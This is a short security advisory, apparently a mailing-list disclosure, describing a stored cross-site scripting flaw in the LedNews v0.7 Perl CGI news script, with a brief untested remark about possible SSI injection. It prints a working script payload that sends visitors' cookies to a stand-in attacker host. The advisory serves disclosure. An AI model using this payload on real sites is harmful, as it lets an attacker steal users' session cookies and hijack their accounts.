    XSS Vulnerability in LedNews (CGI/Perl) v0.7
    
    URL: http://www.ledscripts.com/index.php?page=free:perl:lednews
    
    Description
    =======
    
    LedNews is a CGI application written entirely in perl. Its designed to be as 
    simple as possible, but very powerful at the same thing.
    
    Vulnerability
    ========
    
    The script does not attempt to filter out javascript or any other HTML tags. 
    So the posting message :
    
    <script>
    document.location.replace('http://evil-haxor.com/cgi-bin/cookiemonster.cgi?'+document.cookie);
    </script>
    
    as news will send cookies to your CGI script.
    
    P.S.:
    It may also be possible to put SSI tags in news posts, since the script does 
    not seem to do the usual filtering for them. I did not test this because i'm 
    to lazy to install SSI on my system.
    
    About me
